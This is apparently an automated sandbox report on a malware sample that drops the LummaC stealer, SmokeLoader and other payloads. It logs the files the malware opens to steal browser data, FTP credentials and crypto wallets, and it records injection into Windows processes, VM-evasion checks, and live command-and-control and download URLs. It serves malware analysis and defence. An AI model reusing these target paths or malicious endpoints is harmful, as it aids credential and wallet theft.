Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Tries to harvest and steal ftp login credentials
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Tries to steal Crypto Currency Wallets
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Searches for user specific document files
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Yara detected Credential Stealer
Source: Yara match File source: 00000026.00000003.2682127976.0000000003115000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000003.2731047551.000000000067D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000003.2640497026.0000000003118000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000003.2671333888.0000000003115000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2365862383.0000000002FD6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000003.2631693692.0000000003115000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000003.2729559730.0000000003121000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: BitLockerToGo.exe PID: 4216, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: lm.exe PID: 7864, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Bdaejec
Source: Yara match File source: Process Memory Space: IXDaI.exe PID: 7516, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: IXDaI.exe PID: 7708, type: MEMORYSTR
Yara detected Go Injector
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 27.0.B552.exe.7ff75ee70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 27.2.B552.exe.7ff75ee70000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001B.00000000.2227933484.00007FF75F3B0000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.2364799277.00007FF75F3B0000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: B552.exe PID: 4016, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\B552.exe, type: DROPPED
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: BitLockerToGo.exe PID: 4216, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: lm.exe PID: 7864, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected SmokeLoader
Source: Yara match File source: 00000004.00000002.1462544798.0000000000660000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1780544287.0000000002131000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1780411113.0000000000680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1462616334.0000000000681000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1480462 Sample: 7Y18r(14).exe Startdate: 24/07/2024 Architecture: WINDOWS Score: 100 105 rentry.co 2->105 107 mussangroup.com 2->107 109 8 other IPs or domains 2->109 131 Found malware configuration 2->131 133 Malicious sample detected (through community Yara rule) 2->133 135 Antivirus detection for URL or domain 2->135 139 27 other signatures 2->139 12 7Y18r(14).exe 1 2->12         started        16 ftejced 2->16         started        signatures3 137 Connects to a pastebin service (likely for C&C) 105->137 process4 file5 101 C:\Users\user\AppData\Local\Temp\IXDaI.exe, PE32 12->101 dropped 181 Detected unpacking (changes PE section rights) 12->181 183 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 12->183 185 Maps a DLL or memory area into another process 12->185 187 Switches to a custom stack to bypass stack traces 12->187 18 explorer.exe 122 21 12->18 injected 23 IXDaI.exe 14 12->23         started        189 Multi AV Scanner detection for dropped file 16->189 191 Checks if the current machine is a virtual machine (disk enumeration) 16->191 193 Creates a thread in another existing process (thread injection) 16->193 25 IXDaI.exe 16->25         started        signatures6 process7 dnsIp8 111 mussangroup.com 185.149.100.242, 443, 49737 VERIDYENVeridyenBilisimTeknolojileriSanayiveTicaretLi Turkey 18->111 113 gebeus.ru 189.165.133.52, 49717, 49718, 49719 UninetSAdeCVMX Mexico 18->113 117 8 other IPs or domains 18->117 79 C:\Users\user\AppData\Roaming\ftejced, PE32 18->79 dropped 81 C:\Users\user\AppData\Local\Temp\F6D9.exe, PE32+ 18->81 dropped 83 C:\Users\user\AppData\Local\Temp\B552.exe, PE32+ 18->83 dropped 91 2 other malicious files 18->91 dropped 141 System process connects to network (likely due to code injection or exploit) 18->141 143 Benign windows process drops PE files 18->143 145 Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines) 18->145 153 5 other signatures 18->153 27 753F.exe 18->27         started        32 B552.exe 18->32         started        34 F6D9.exe 18->34         started        40 2 other processes 18->40 115 ddos.dnsnb8.net 44.221.84.105, 49703, 49711, 49712 AMAZON-AESUS United States 23->115 85 C:\Program Files\7-Zip\Uninstall.exe, PE32 23->85 dropped 87 C:\Program Files (x86)\AutoIt3\...\SciTE.exe, PE32 23->87 dropped 89 C:\Program Files (x86)\AutoIt3\...\MyProg.exe, MS-DOS 23->89 dropped 147 Antivirus detection for dropped file 23->147 149 Multi AV Scanner detection for dropped file 23->149 151 Detected unpacking (changes PE section rights) 23->151 155 2 other signatures 23->155 36 WerFault.exe 19 16 23->36         started        38 cmd.exe 25->38         started        file9 signatures10 process11 dnsIp12 129 rentry.co 104.26.3.16, 443, 49759 CLOUDFLARENETUS United States 27->129 103 C:\Users\user\AppData\...\rentry-script.ps1, ASCII 27->103 dropped 195 Suspicious powershell command line found 27->195 197 Found many strings related to Crypto-Wallets (likely being stolen) 27->197 199 Bypasses PowerShell execution policy 27->199 217 3 other signatures 27->217 42 powershell.exe 27->42         started        47 753F.exe 27->47         started        201 Multi AV Scanner detection for dropped file 32->201 203 Writes to foreign memory regions 32->203 205 Allocates memory in foreign processes 32->205 219 2 other signatures 32->219 49 BitLockerToGo.exe 32->49         started        207 Check for Windows Defender sandbox 34->207 209 Machine Learning detection for dropped file 34->209 211 Changes memory attributes in foreign processes to executable or writable 34->211 213 Injects code into the Windows Explorer (explorer.exe) 34->213 51 conhost.exe 34->51         started        53 conhost.exe 38->53         started        215 Windows Scripting host queries suspicious COM object (likely to drop second stage) 40->215 55 cmd.exe 40->55         started        57 conhost.exe 40->57         started        file13 signatures14 process15 dnsIp16 125 store4.gofile.io 31.14.70.245, 443, 49763, 49770 LINKER-ASFR Virgin Islands (BRITISH) 42->125 93 C:\Users\user\AppData\Local\Temp\...\vm.exe, PE32 42->93 dropped 95 C:\Users\user\AppData\Local\Temp\...\g2m.dll, PE32 42->95 dropped 97 C:\Users\user\AppData\Local\Temp\...\lm.exe, PE32 42->97 dropped 99 3 other malicious files 42->99 dropped 167 Drops VBS files to the startup folder 42->167 169 Loading BitLocker PowerShell Module 42->169 171 Powershell drops PE file 42->171 59 cmd.exe 42->59         started        61 cmd.exe 42->61         started        63 conhost.exe 42->63         started        127 callosallsaospz.shop 188.114.96.3, 443, 49754, 49756 CLOUDFLARENETUS European Union 49->127 173 Query firmware table information (likely to detect VMs) 49->173 175 Found many strings related to Crypto-Wallets (likely being stolen) 49->175 177 Tries to harvest and steal ftp login credentials 49->177 179 Tries to steal Crypto Currency Wallets 49->179 65 vm.exe 55->65         started        67 conhost.exe 55->67         started        file17 signatures18 process19 process20 69 lm.exe 59->69         started        73 vm.exe 61->73         started        75 WerFault.exe 65->75         started        dnsIp21 119 liernessfornicsa.shop 172.67.213.85, 443, 49780, 49782 CLOUDFLARENETUS United States 69->119 157 Query firmware table information (likely to detect VMs) 69->157 159 Tries to harvest and steal browser information (history, passwords, etc) 69->159 161 Tries to steal Crypto Currency Wallets 69->161 77 WerFault.exe 69->77         started        121 193.222.96.24, 4449, 49784, 49807 SWISSCOMSwisscomSwitzerlandLtdCH Germany 73->121 123 94.156.79.190, 4449, 49821 NET1-ASBG Bulgaria 73->123 163 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 73->163 165 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 73->165 signatures22 process23
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
77.221.157.163
 unknown Russian Federation
30968 INFOBOX-ASInfoboxruAutonomousSystemRU true
107.173.160.139
 unknown United States
36352 AS-COLOCROSSINGUS true
107.173.160.137
 unknown United States
36352 AS-COLOCROSSINGUS true
172.67.213.85
 liernessfornicsa.shop United States
13335 CLOUDFLARENETUS true
211.168.53.110
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR true
162.0.235.84
 funrecipebooks.com Canada
22612 NAMECHEAP-NETUS true
64.190.113.113
 unknown United States
26646 TRAVELCLICKCORP1US true
94.156.79.190
 unknown Bulgaria
43561 NET1-ASBG true
104.26.3.16
 rentry.co United States
13335 CLOUDFLARENETUS true
44.221.84.105
 ddos.dnsnb8.net United States
14618 AMAZON-AESUS false
189.165.133.52
 gebeus.ru Mexico
8151 UninetSAdeCVMX true
167.235.128.153
 unknown United States
3525 ALBERTSONSUS true
188.114.96.3
 callosallsaospz.shop European Union
13335 CLOUDFLARENETUS true
193.222.96.24
 unknown Germany
3303 SWISSCOMSwisscomSwitzerlandLtdCH true
185.149.100.242
 mussangroup.com Turkey
209853 VERIDYENVeridyenBilisimTeknolojileriSanayiveTicaretLi true
31.14.70.245
 store4.gofile.io Virgin Islands (BRITISH)
199483 LINKER-ASFR false

Private

IP
127.0.0.127

Contacted Domains

Name IP Active
funrecipebooks.com 162.0.235.84 true
bg.microsoft.map.fastly.net 199.232.214.172 true
store4.gofile.io 31.14.70.245 true
evilos.cc 127.0.0.127 true
gebeus.ru 189.165.133.52 true
ddos.dnsnb8.net 44.221.84.105 true
rentry.co 104.26.3.16 true
liernessfornicsa.shop 172.67.213.85 true
mussangroup.com 185.149.100.242 true
callosallsaospz.shop 188.114.96.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://ddos.dnsnb8.net:799/cj//k3.rar false
  • Avira URL Cloud: phishing
 unknown
http://gebeus.ru/tmp/index.php true
  • Avira URL Cloud: malware
 unknown
https://store4.gofile.io/download/direct/0656c5cf-51b4-4fa4-ae48-8ee5ed3d142e/lm.zip false
  • Avira URL Cloud: safe
 unknown
callosallsaospz.shop true
  • Avira URL Cloud: safe
 unknown
http://cx5519.com/tmp/index.php true
  • Avira URL Cloud: malware
 unknown
http://ddos.dnsnb8.net:799/cj//k1.rar true
  • URL Reputation: malware
 unknown
liernessfornicsa.shop true
  • Avira URL Cloud: safe
 unknown
http://evilos.cc/tmp/index.php true
  • Avira URL Cloud: malware
 unknown
https://107.173.160.139/ true
  • Avira URL Cloud: safe
 unknown
shepherdlyopzc.shop true
  • Avira URL Cloud: safe
 unknown
upknittsoappz.shop true
  • Avira URL Cloud: safe
 unknown
https://mussangroup.com/wp-content/images/pic1.jpg true
  • Avira URL Cloud: malware
 unknown
http://ddos.dnsnb8.net:799/cj//k5.rar false
  • Avira URL Cloud: phishing
 unknown
https://store4.gofile.io/download/direct/6b24ec97-2a8d-468d-a24d-c8081cda1dab/vm.zip false
  • Avira URL Cloud: safe
 unknown
unseaffarignsk.shop true
  • Avira URL Cloud: safe
 unknown
https://callosallsaospz.shop/api false
  • Avira URL Cloud: malware
 unknown
https://107.173.160.137/ true
  • Avira URL Cloud: safe
 unknown
https://rentry.co/microgods/raw false
  • Avira URL Cloud: safe
 unknown
http://ddos.dnsnb8.net:799/cj//k2.rar false
  • Avira URL Cloud: phishing
 unknown
lariatedzugspd.shop true
  • Avira URL Cloud: safe
 unknown